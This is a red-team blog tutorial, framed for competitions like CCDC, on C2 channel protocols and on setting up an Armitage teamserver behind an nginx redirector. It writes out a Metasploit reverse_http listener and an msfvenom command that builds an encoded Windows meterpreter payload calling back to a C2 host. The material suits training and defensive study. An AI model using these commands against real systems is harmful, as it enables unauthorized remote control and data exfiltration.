In this post I thought I would demonstrate how to setup an environment for a red teamer. PLEASE take this environment with a gain of salt because everyone will have a different setup!!! This guide is to show the basics and hopefully a template based on the Armitage/Cobalt Strike architecture. If your interested in the pinnacle of red team setups take a look at Alex Levinson’s post about the CCDC Red team or the blog Room 362 by Rob Fuller.
DISCLAIMER
The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises.
DISCLAIMER
How to red team
Terms
- Command and Control(C2) Channel – Used to execute arbitrary commands on a victim system, report the status of a compromise to an attacker, or exfiltrate information.
- C2 channels may be used to commandeer an individual host or control a botnet of millions of machines.
- Beacon – The practice of sending short and regular communications from an infected host to an attacker-controlled host to communicate that the infected host malware is alive, functioning, and ready for instructions.
- Shell – An interface to interact with a remote machine.
- Teamserver – A server used to manage shells and beacons between group members. A teamserver can also manage C2 servers and compromised machines under there control.
- For example if I pop a shell on a Windows box other members on my team server can utilize that shell on that machine.
- Proxy – The middle man between the client and the server. Proxies take requests from the clients and forward it to the destination on behalf of the client. The destination will respond to the proxy and the proxy will relay the request back to the client. Proxies provide a layer of anonymity from blue teams discovering your red team infrastructure. For more information on proxies and malware please read this, SANs: Mining for Malware.
C2 Channels pros and cons
This section will cover the most common protocols used for malware. Each protocol has it’s strengths and weaknesses depending on your environment. Rob Fuller aka Mubix, has a saying “Two is one and one is none”. This statement is saying, if you have one shell on a box and a blue teamer finds it, you no longer control that box. But if you have two shells and they find one, you have the ability to recover with your remaining shell. Now keep in mind this saying is assuming the box doesn’t have a remote vulnerability or exploit. Additionally, as a red teamer you must be versatile with your methods and tactics so the blue teamers can’t find one method and kick you out. Furthermore, keep in mind that an effective C2 channel protocol must have a payload section to carry data, excluding covert channels.
Furthermore, the focus of red teamers who are beginners is getting into the box . However, I would argue that getting out of a network with a reliable C2 channel is more important. As a blue teamer, I can admit that I had malware on my box that I couldn’t remove but I blocked it at the firewall level and the network level. Sure, the malware is on my box but if it can’t communicate back to the red team for more instructions, it becomes useless to the red teamer.
Arguably the weakness of any malware is the fact that it has to communicate back to a C2 server. Blue teamers may focus on detecting malware at the network level and this is because packets can’t hide like a host rootkit. Now this is assuming that the networking devices or network capturing software is not compromised.
TCP
TCP is one of the easiest protocols to setup and provides a reliable C2 channel. The downfall of TCP in a competition emviornment is a persistent connection that is established. This “ESTABLISHED” state can be displayed with networking tools such as netstat. This type of indicator can tell the blue teamer your red team subnet, ip address of C2 server(s), port it’s connecting back too, and type of traffic to block.
UDP
UDP is one of the harder protocols to write malware for and doesn’t provide a reliable C2 channel. The tradeoff with UDP is it doesn’t guarantee the delivery of packets to destination. However, because of this tradeoff, UDP doesn’t have an “ESTABLISHED” connection state. Meaning, it provides a stealthier C2 channel because it doesn’t show an “ESTABLISHED” connection in network tools like netstat.
ICMP
That’s right ICMP or more commonly know as PING can be used as a C2 channel. A lot of paid Wifi hotspots will allow outbound PING which can be used as tunnel. I have actually tested this before and it’s not a perfect solution but it does work. PING is seen as a harmless protocol and is typically utilized by sys admins as a tool on networks, so usually it’s unrestricted and unmonitored. Additionally, most competitions enforce that all systems be pingable at all times so it’s common traffic for the network.
HTTP and HTTPS
HTTP is arguably the most common protocol on the internet and on a local network. It’s a simple protocol that contains methods such as GET and POST to make an effective C2 channel. Not to mention since it is such a common protocol most networks allow 80 and 443 outbound. Additionally, HTTP makes making malware dead simple because elaborate APIs can be created and utilized. However, most enterprise networks will implement outbound proxies that stop/detect HTTP callbacks.
DNS
DNS is again, arguably the second most common protocol on the internet and on a local network. It’s a simple protocol that contains methods such as QUERY and RESPONSE to make an effective C2 channel. Additionally, no one wants to remember IP addresses so DNS will always be enabled. All services rely on DNS to communicate to reach there destination. DNS also makes a simple C2 channel implementation for malware. Keep in mind most enterprise networks will implement local DNS servers and restrict all DNS queries through those servers. These DNS servers can utilize response policy zones(RPZs) to act as DNS firewalls to redirect(sinkhole)/block DNS calls. One of the biggest issues as a defender with DNS is buying new domains is so cheap, malware authors will keep buying new domains like “ad.9tv.co.il”, “ad.8tv.co.il”, “ad.[1-100000000000]tv.co.il”. This makes blocking DNS domains an ineffective method as a long term solution.
Teamservers and C2 Servers
Teamserver
A teamserver will allow red teamers to share sessions and information about hosts they gained access too or discovered. The Armitage teamserver integrates with the Metasploit framework to make team collaboration easier. Some people ask what is the point of a teamserver? From my experience, there is no hacker that is good at every aspect of red teaming.
Some people are good at Windows over Linux, exploitation over post-exploitation, and etc. Teamservers allow people who are good at attacking Windows to share their shell access with Linux team members and vice versa. Additionally, teamservers control C2 servers and the sessions received by C2 servers. When malware is initiated it will call back to a C2 server. The C2 server will then inform the teamserver of the new malware session to interact with.
C2 Servers
C2 servers act as a proxy between the infected machine and the team server. C2 Servers are the hosts that the malware calls back too and what data is exfiltrated too. C2 servers are your first line of defense and should be servers that can be easily burned.
Install/Setup Armitage teamserver and C2 servers
Setup/Config Armitage teamserver
- cd /usr/share/armitage
- ./teamserver <Public facing IP addr of host> <password for teamserver>
Connect Armitage to teamserver
- Select Armitage from the applications menu
- Connect
- Enter “172.16.54.139” for host
- Enter “55553” for port
- Enter “<username>” for User
- Create a username here
- Enter “password123” for password
- Select “connect”
Create Armitage HTTP listener
- Enter “use exploit/multi/handler” into the Armitage command line
- Enter “set PAYLOAD windows/meterpreter/revese_http” to select C2 channel
- Enter “set LHOST 172.16.54.139” for the IP to callback too
- Enter “set LPORT 80” for the port to callback too
- Enter “exploit -j”
Setup/Configure HTTP C2 Server
Install/Setup NGINX reverse proxy on Centos 7
- yum install nginx -y
- cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak
- sed -i -e ‘38,87d’ /etc/nginx/nginx.conf
cat > /etc/nginx/conf.d/nginx_armitage.conf << 'EOF'
server {
server_name _;location / {
proxy_pass http://172.16.54.139:80;
}
}
EOF
- systemctl restart nginx
- firewall-cmd –permanent –add-server=http
- firewall-cmd –reload
Create Windows HTTP reverse payload
- msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_http LHOST=172.16.54.140 LPORT=80 -b “\x00” -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
- p: C2 channel reverse http
- LHOST: IP addr of C2 server
- LPORT: Port of C2 server
Analyze malicious binary
Reverse proxy tcpdump
- Enter “tcpdump -i ens33 port 80” on nginx reverse proxy
- This shows the traffic being received from our infected client (172.16.54.144) and being forwarded to our teamserver (172.16.54.139).
- This shows the traffic being received from our infected client (172.16.54.144) and being forwarded to our teamserver (172.16.54.139).
Windows process explorer
- Copy 1.exe to a Windows machine and execute the binary
Armitage listener callback
DISCLAIMER
The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises.